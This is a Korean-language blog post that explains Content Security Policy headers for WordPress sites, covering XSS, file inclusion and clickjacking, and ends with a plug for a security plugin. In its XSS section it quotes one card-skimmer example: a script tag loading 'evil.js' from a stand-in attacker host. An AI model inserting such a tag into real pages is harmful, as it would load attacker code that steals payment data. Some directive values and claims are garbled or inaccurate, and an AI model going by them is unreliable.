콘텐츠 보안 정책(CSP) 설명

게시 됨: 2023-04-18

사이버 보안 위협이 빠르게 진화함에 따라 단일 방어 계층에 의존하는 것은 더 이상 온라인 존재를 보호하는 데 충분하지 않습니다. 따라서 웹 사이트 소유자는 심층 방어 개념으로 가장 잘 표현되는 다계층 보안 접근 방식을 갖추는 것이 필수적입니다.

웹 사이트 및 웹 애플리케이션에서 클라이언트 측에서 추가 보안 제어를 시행하도록 특별히 설계된 HTTP 보안 응답 헤더를 사용하여 심층 방어를 구현할 수 있습니다. HTTP 응답 헤더는 웹 애플리케이션을 대상으로 하는 사이버 공격에 대한 중요한 두 번째 방어선입니다.

주요 HTTP 보안 응답 헤더 중 하나인 콘텐츠 보안 정책(CSP)은 XSS(교차 사이트 스크립팅) 및 데이터 주입 공격의 파괴적인 결과로부터 웹 사이트와 방문자를 효과적으로 보호할 수 있습니다.

이 가이드에서는 콘텐츠 보안 정책이 핵심 HTTP 보안 헤더인 이유와 WordPress를 대상으로 하는 광범위하고 정교한 사이버 공격을 성공적으로 완화하기 위해 사이트에 심층 방어를 구현하는 방법에 대해 설명합니다.

콘텐츠 보안 정책

HTTP 응답 헤더란 무엇입니까?

HTTP 응답 헤더는 브라우저가 요청된 콘텐츠와 상호 작용하는 방식을 정의하는 웹사이트 및 웹 애플리케이션에 구현된 컨트롤 집합입니다. HTTP 응답 헤더를 구현하면 웹사이트 소유자가 사용자 경험을 상당히 개선하고 웹사이트의 기능, 성능 및 보안을 개선하는 데 도움이 될 수 있습니다.

웹사이트 방문자가 요청한 콘텐츠와 함께 작은 정보가 전송되면 HTTP 응답 헤더는 브라우저가 웹 서버에서 받은 응답을 해석하고 처리하는 방식을 수정합니다. 그리고 웹 사이트의 콘텐츠와 기능은 변경되지 않은 상태로 유지되지만 HTTP 응답 헤더를 구현하면 사용자가 웹 사이트를 인식하는 방식이 바뀔 수 있습니다.

보안 위협에 대한 두 번째 방어 계층으로서의 HTTP 보안 응답 헤더

콘텐츠 보안 정책과 같은 HTTP 응답 헤더가 사용되는 주요 영역 중 하나는 웹 사이트 보안입니다. HTTP 응답 헤더가 제공하는 강력한 기능은 WordPress와 같은 동적 웹 애플리케이션을 대상으로 하는 많은 사이버 공격에 대한 중요한 두 번째 방어선입니다.

사이버 공격에 대한 첫 번째 방어선은 공격 표면을 줄이고 애플리케이션 수준의 취약성을 제거하는 여러 코드 기반 및 서버 측 보안 조치로 구성됩니다. 여기에는 보안 코딩 방식 사용, 강력한 액세스 제어 정책 설정, 수신 요청을 검사하고 악성 트래픽을 필터링하기 위한 웹 애플리케이션 방화벽 구현이 포함됩니다.

그리고 강력한 1차 방어선을 갖추는 것이 절대적으로 중요하지만 단일 보안 계층에 의존하면 웹 사이트가 점점 더 정교해지는 공격에 취약해질 수 있습니다. 단일 보안 제어는 특히 공격자가 패치되지 않은 취약성을 식별하고 악용할 수 있는 경우 쉽게 우회할 수 있습니다.

콘텐츠 보안 정책 및 기타 보안 응답 헤더는 악의적인 공격으로 인한 피해를 줄여 추가적인 보호 계층을 제공합니다. 악의적인 해커가 웹 사이트의 취약성을 성공적으로 식별할 수 있는 경우 강력한 2차 방어선이 공격자가 이를 악용하기 훨씬 더 어렵게 만듭니다.

콘텐츠 보안 정책이란 무엇입니까?

콘텐츠 보안 정책(CSP)은 웹 사이트 또는 특정 웹 페이지에서 로드할 수 있는 콘텐츠의 신뢰할 수 있는 소스 목록과 이에 사용할 프로토콜을 정의하는 데 사용되는 보안 메커니즘입니다. 여기에는 웹 페이지에 포함할 수 있는 스크립트, 스타일시트, 이미지 및 기타 유형의 콘텐츠가 포함될 수 있습니다.

콘텐츠 보안 정책은 현재 웹 사이트 외부에 있는 콘텐츠에 대한 무단 요청을 차단하는 강력한 심층 보안 제어입니다. 이 외에도 CSP는 인라인 스크립트의 실행을 성공적으로 방지하고 안전하지 않은 동적 코드 실행을 제한합니다.

HTTP 보안 응답 헤더로서 CSP는 웹사이트 소유자가 구성한 지침을 방문자의 브라우저에 전달합니다. 그러면 브라우저는 지침에 따라 콘텐츠 보안 정책 규칙에 의해 승인되지 않은 콘텐츠 전달을 차단해야 합니다. 이렇게 하면 브라우저는 웹 페이지에서 특정 콘텐츠를 참조했지만 로드를 거부합니다.

콘텐츠 보안 정책이 중요한 이유는 무엇입니까?

두 번째 방어선인 콘텐츠 보안 정책은 대부분의 경우 공격자가 웹사이트를 손상시키는 것을 막지 못합니다. 그럼에도 불구하고 해커의 악용 시도를 차단하여 맬웨어 감염의 파괴적인 결과를 완화하는 데 도움이 됩니다.

민감한 정보를 훔치거나 기타 악의적인 활동을 수행할 목적으로 웹 사이트에 맬웨어가 삽입되더라도 강력한 CSP 정책은 귀하와 귀하의 고객을 안전하게 지켜줄 것입니다. 악의적인 행위자는 브라우저가 처음부터 악성 코드가 실행되는 것을 차단하므로 웹 사이트에 대한 고객의 신뢰를 악용할 수 없습니다.

웹 사이트에 대한 완전한 제어권을 되찾고 손상된 후 맬웨어 정리를 수행하는 동안 웹 사이트를 악용하려는 해커의 노력을 무효화할 수 있는 기능은 최신 웹 사이트 및 웹 응용 프로그램을 보호하기 위한 강력한 도구인 콘텐츠 보안 정책을 구현하는 것입니다.

CSP는 무엇으로부터 보호합니까?

콘텐츠 보안 정책은 공격자가 제어하는 ​​리소스에서 호스팅되는 악성 스크립트에 의존하는 침입 시도뿐만 아니라 맬웨어 감염으로 촉진되는 다양한 사이버 공격으로부터 웹사이트와 방문자를 보호합니다. 여기에는 콘텐츠 보안 정책으로 완화되는 상위 3가지 공격 벡터인 XSS(교차 사이트 스크립팅), 파일 포함 공격 및 클릭재킹이 포함됩니다.

XSS(교차 사이트 스크립팅)

XSS(교차 사이트 스크립팅)는 웹 페이지에 악성 코드를 삽입하는 것과 관련된 주입 공격입니다. 그러면 웹 페이지가 로드될 때 브라우저에서 코드가 실행되어 공격자가 중요한 정보를 훔치거나 사용자 세션을 가로채거나 맬웨어를 배포할 수 있습니다.

교차 사이트 스크립팅 공격을 수행하기 위해 해커는 HTML에 삽입되는 인라인 스크립트로 또는 일반적으로 공격자가 제어하는 ​​웹 사이트에서 호스팅되는 외부 스크립트를 참조하여 맬웨어를 삽입할 수 있습니다. 콘텐츠 렌더링 프로세스 중에 악성 코드가 사용자의 브라우저에 로드되어 사용자 모르게 또는 동의 없이 실행됩니다.

WordPress 사이트 소유자에게 영향을 미치는 크로스 사이트 스크립팅 공격의 한 가지 좋은 예는 카드 스키밍 멀웨어를 WooCommerce 체크아웃에 주입하여 구매자의 결제 정보를 훔치는 것입니다. 교차 사이트 스크립팅 공격을 수행하는 데 사용되는 카드 스키머 및 기타 유형의 JavaScript 스니퍼는 일반적으로 웹 페이지의 소스 코드에서 다음과 같이 보입니다.

 <script type="text/javascript" src="https://hackerswebsite/evil.js"></script>

인라인 스크립트의 경우 스크립트 태그에 삽입되거나 스타일 태그를 사용하여 스타일시트로 위장한 악성코드를 볼 수 있습니다.

교차 사이트 스크립팅의 완화는 콘텐츠 보안 정책 구현의 주요 목표입니다. CSP(콘텐츠 보안 정책)는 인라인 스크립트의 실행을 방지하고 eval 함수를 사용하여 주입된 안전하지 않은 Javascript와 신뢰할 수 없는 소스에서 로드된 스크립트를 차단함으로써 웹 사이트에서 임의 코드 실행의 위험을 효과적으로 완화합니다.

파일 포함 공격

파일 포함 공격은 콘텐츠 보안 정책으로 완화할 수 있는 또 다른 유형의 삽입 공격입니다. 침입 기술인 원격 파일 포함 공격을 통해 해커는 다양한 웹 사이트 영역에서 잘못된 입력 유효성 검사를 악용하여 외부 리소스에서 호스팅되는 악성 코드를 실행할 수 있습니다.

원격 파일 포함 공격은 종종 웹 셸 백도어를 설치하여 웹 사이트에 침입할 목적으로 WordPress 플러그인 및 테마의 패치되지 않은 취약점을 악용합니다. 교차 사이트 스크립팅 완화와 마찬가지로 콘텐츠 보안 정책은 의심스러운 모든 외부 스크립트가 웹 사이트에 삽입되는 것을 효과적으로 차단하여 공격자가 RFI(원격 파일 포함) 취약성을 악용하는 것을 거의 불가능하게 만듭니다.

클릭재킹

콘텐츠 보안 정책은 웹사이트 소유자가 콘텐츠를 로드할 수 있는 신뢰할 수 있는 리소스 목록을 정의하도록 허용하는 것 외에도 웹사이트의 콘텐츠를 프레임 내에 포함하도록 승인된 웹사이트 목록을 제한하는 데 도움이 될 수 있습니다. 이렇게 하면 스피어 피싱 공격에서 고객에게 전송된 의심스러운 링크를 열면 고객이 피해를 입을 수 있는 클릭재킹과 같은 사용자 인터페이스(UI) 교정 공격을 완화할 수 있습니다.

Content Security Policy frame-ancestors 지시문은 현재 대부분의 최신 브라우저에서 더 이상 사용되지 않는 X-Frame-Options 헤더를 성공적으로 대체했습니다. 이것과 다른 CSP 지시문은 WordPress 보안에서 절대적으로 필요합니다.

콘텐츠 보안 정책 지침

콘텐츠 보안 정책은 웹 사이트에서 로드할 수 있는 콘텐츠 소스를 제어하기 위해 지시문이라고 하는 규칙 집합을 지정하는 데 도움이 됩니다. 콘텐츠 보안 정책 지시문은 요청된 웹 페이지의 HTTP 헤더에 포함된 지침 목록으로, 해당 콘텐츠를 로드할 수 있는 신뢰할 수 있는 소스 목록과 함께 브라우저가 해당 페이지에 로드할 수 있는 콘텐츠 유형을 정의합니다.

사용 가능한 다양한 콘텐츠 보안 정책 지침 중에서 아래 규칙은 XSS(교차 사이트 스크립팅), 클릭재킹 및 데이터 주입 공격으로부터 웹사이트를 보호하는 데 가장 일반적으로 적용됩니다. frame-ancestors , form-actionupgrade-insecure-requests 제외한 다음 CSP 지시문은 모두 콘텐츠를 로드할 리소스 목록을 지정하는 가져오기 지시문입니다. Frame-ancestorsform-action 다른 리소스가 콘텐츠 보안 정책이 구성된 웹 사이트의 콘텐츠를 사용할 수 있는 방법을 정의하는 탐색 지시문입니다.

  • default-src 특정 유형의 콘텐츠에 대해 추가 규칙이 지정되지 않은 경우 브라우저가 기본값으로 사용할 모든 유형의 리소스를 로드하기 위한 정책을 정의합니다.
  • script-src 웹 사이트에서 로드할 수 있는 JavaScript 파일의 신뢰할 수 있는 소스를 지정합니다.
  • style-src 스타일시트(CSS)의 유효한 소스 목록을 정의합니다.
  • img-src 리소스 이미지를 로드할 수 있는 화이트리스트입니다.
  • media-src HTML <audio><video> 요소에 포함된 오디오 및 비디오 파일의 신뢰할 수 있는 소스를 지정합니다.
  • connect-src XMLHttpRequest , EventSourceWebSocket 연결에 대한 제어를 제공합니다.
  • child-src 프레임을 통해 웹 페이지에 포함될 수 있는 콘텐츠 소스를 정의합니다.
  • frame-ancestors 프레임 내에 웹 사이트의 콘텐츠를 삽입할 수 있는 리소스 목록을 지정하여 클릭재킹 공격을 완화하는 데 도움이 되는 탐색 지시문입니다.
  • form-action 웹 양식이 정보를 제출할 수 있는 리소스를 제한하여 공격자가 제어하는 ​​외부 리소스로 데이터가 유출되는 것을 방지합니다.
  • upgrade-insecure-requests 보안 연결을 보장하기 위해 모든 안전하지 않은 요청을 HTTPS 로 업그레이드하도록 브라우저에 지시합니다.

웹사이트 유형과 웹사이트에서 제공하는 특정 기능에 따라 웹사이트 소유자는 외부에서 가져온 콘텐츠의 모든 소스를 제어하기 위해 여러 지시문을 구성해야 할 수 있습니다.

콘텐츠 보안 정책을 두 번째 방어선으로 사용하여 크로스 스크립팅 및 삽입 공격으로부터 충분한 보호를 보장하기 위한 업계 표준은 default-src 지시문을 통해서만 현재 웹 사이트에 대한 외부 콘텐츠의 유효한 소스를 제한하는 것입니다. 그런 다음 특정 유형의 콘텐츠에 대한 리소스를 허용 목록에 추가하는 데 더 많은 대상 지시문을 사용할 수 있지만 다른 모든 리소스를 거부하는 것이 권장되는 접근 방식입니다.

콘텐츠 보안 정책 지시문 구성

각 콘텐츠 보안 정책 지시문은 URL(Uniform Resource Locator)로 표시되는 값 목록을 수락합니다. 여기에는 프로토콜, 도메인 이름, 와일드카드 또는 'self' 또는 'none' 과 같은 특정 값이 앞에 오는 유효한 웹 주소가 포함되어야 합니다. 'none' HTTP 응답 헤더에서 제공합니다.

다음은 콘텐츠 보안 정책 지시문에 할당할 수 있는 값의 일부 인스턴스입니다.

지시값 정의
* media-src* 모든 리소스에서 모든 로드 콘텐츠를 허용하는 데 사용되는 와일드카드.
'self' default-src 'self'
frame-ancestors 'self';
현재 웹 사이트를 특정 콘텐츠의 유일한 유효한 소스로 허용 목록에 추가합니다. 권장되는 기본 콘텐츠 보안 정책인 동일한 출처의 엄격한 보안 정책을 정의합니다.

frame-ancestors 지시어와 함께 사용하면 웹 사이트 자체가 아닌 리소스에 대한 콘텐츠 프레이밍을 허용하지 않습니다.
'none' media-src 'none' 동일한 웹 사이트를 포함하여 모든 소스에서 리소스를 로드할 수 없습니다.
domain.com
*.domain.com
img-sr c *.domain.com domain.com 아래의 모든 하위 도메인에서 콘텐츠를 로드할 수 있습니다.
https://domain.com default-src 'https://domain.com' 지정된 도메인 이름에서 HTTPS를 통해서만 콘텐츠를 가져올 수 있습니다.

기본적으로 지정된 규칙에 관계없이 콘텐츠 보안 정책은 인라인 스크립트의 실행을 차단하고 웹 페이지에서 악의적인 해커가 일반적으로 사용하는 eval과 같은 텍스트-자바스크립트 기능을 실행하지 못하도록 합니다. script-src 콘텐츠 보안 정책 지시문에 'unsafe-inline''unsafe-eval' 값을 추가하면 웹사이트 소유자가 제한을 우회하는 데 도움이 될 수 있지만 이로 인해 웹사이트가 심각한 보안 위험에 노출되고 다른 지시문에서 부과하는 보호가 약화될 수 있습니다. .

다음 콘텐츠 보안 정책 헤더 구성은 웹 사이트가 외부 리소스에서 콘텐츠를 로드하는 것을 효과적으로 방지하고 인라인 스크립트 및 안전하지 않은 JavaScript의 실행을 허용하지 않습니다.

Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self'"

'self' 값이 주어지면 frame-ancestors 지시문은 콘텐츠 프레이밍을 차단하여 클릭재킹 공격을 완화합니다.

콘텐츠 보안 정책 및 콘텐츠 전송 네트워크(CDN)

Cloudflare와 같은 대부분의 콘텐츠 전송 네트워크는 콘텐츠 보안 정책과 완전히 호환되며 원본 서버에서 CPS 헤더를 수정하지 않습니다. 구성하는 보안 규칙에서 추가 리소스를 화이트리스트에 추가할 필요가 없습니다.

WordPress에 대한 콘텐츠 보안 정책 구현

WordPress는 HTTP 응답 헤더를 추가하기 위한 다양한 플러그인을 제공하며, 이는 기술 지식이 없는 사용자에게 좋은 옵션이 될 수 있습니다. 이것은 편리한 옵션일 수 있지만 WordPress 웹 사이트에 대한 콘텐츠 보안 정책과 같은 보안 응답 헤더를 설정하는 것은 타사 소프트웨어를 설치할 필요가 없는 간단한 프로세스입니다.

mod_headers Apache 모듈과 ngx_http_headers_module Nginx 모듈을 사용하면 웹 사이트에 대한 HTTP 응답 헤더를 구성할 수 있습니다. Nginx를 사용하는 경우 웹사이트의 server {} 블록에 add_header 지시문을 포함하여 HTTP 응답 헤더를 구성할 수 있습니다.

마찬가지로 Apache를 웹 서버로 사용하는 경우 "Header set" 및 "Header append" 문을 사용하여 문서 루트에 있는 웹 사이트의 로컬 .htaccess 파일에서 보안 정책을 구성할 수 있습니다. 이렇게 하면 웹 사이트의 루트 디렉토리에 있는 .htaccess 파일에 지정된 구성이 사이트의 모든 웹 페이지에 적용됩니다.

Apache를 사용하면 서버의 모든 웹 사이트에 대해 로컬( .htaccess 파일) 및 전역적으로 HTTP 응답 헤더를 구성할 수 있다는 점에 유의해야 합니다. 특히 공유 호스팅 계획을 사용 중인 경우 호스팅 공급자가 특정 응답 헤더를 전역적으로 구성할 수 있습니다. "헤더 설정" 방법을 사용하여 콘텐츠 보안 정책을 구성하면 기존 전역 규칙을 완전히 덮어쓰고 "헤더 추가"를 사용하면 전체 구성을 바꾸는 대신 새 정책을 기존 응답 헤더에 병합합니다.

아래 콘텐츠 보안 정책 구성을 추가하여 WordPress 웹사이트에 엄격한 보안 제어를 적용할 수 있습니다.

아파치의 경우:

 Header set Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

Nginx의 경우:

 add_header Content-Security-Policy "default-src 'self' https://mywebsite.com; frame-ancestors 'self';"

웹 사이트의 보안 요구 사항을 충족하는 콘텐츠 보안 정책 구성을 수행하려면 웹 사이트 기능에 대한 철저한 이해와 일부 테스트가 필요할 수 있습니다. 또한 WordPress 사이트에 새로운 보안 프로토콜을 구현하면 잠재적으로 기능 손실이 발생할 수 있으므로 변경 사항의 영향을 신중하게 고려하는 것이 중요합니다. 호스팅 제공업체에 연락하거나 개발자에게 문의하여 보안 헤더가 올바르게 구성되어 부정적인 결과를 초래하지 않는지 확인할 수 있습니다.

iThemes Security Pro로 심층 방어 구현

오늘날의 위협 환경에서는 심층 방어 전략을 채택하는 것이 중요합니다. WordPress와 같은 최신 동적 웹 애플리케이션과 관련하여 콘텐츠 보안 정책 헤더는 심층 방어의 핵심이며 XSS(교차 사이트 스크립팅), 파일 포함 공격, 클릭재킹 및 기타 웹 기반 공격에 대한 중요한 보호 계층을 제공합니다.

포괄적인 심층 방어 솔루션을 구현하는 것은 항상 어려운 일이었습니다. 그러나 강력하고 안정적인 보안 플러그인인 iThemes Security Pro를 사용하면 WordPress 웹사이트를 보호할 수 있습니다. 파일 무결성 모니터링, 취약성 검색, 자동 소프트웨어 업데이트 및 암호 없는 인증과 같은 기능을 통해 WordPress 웹사이트의 모든 중요한 부분을 진화하는 보안 위협으로부터 보호할 수 있습니다.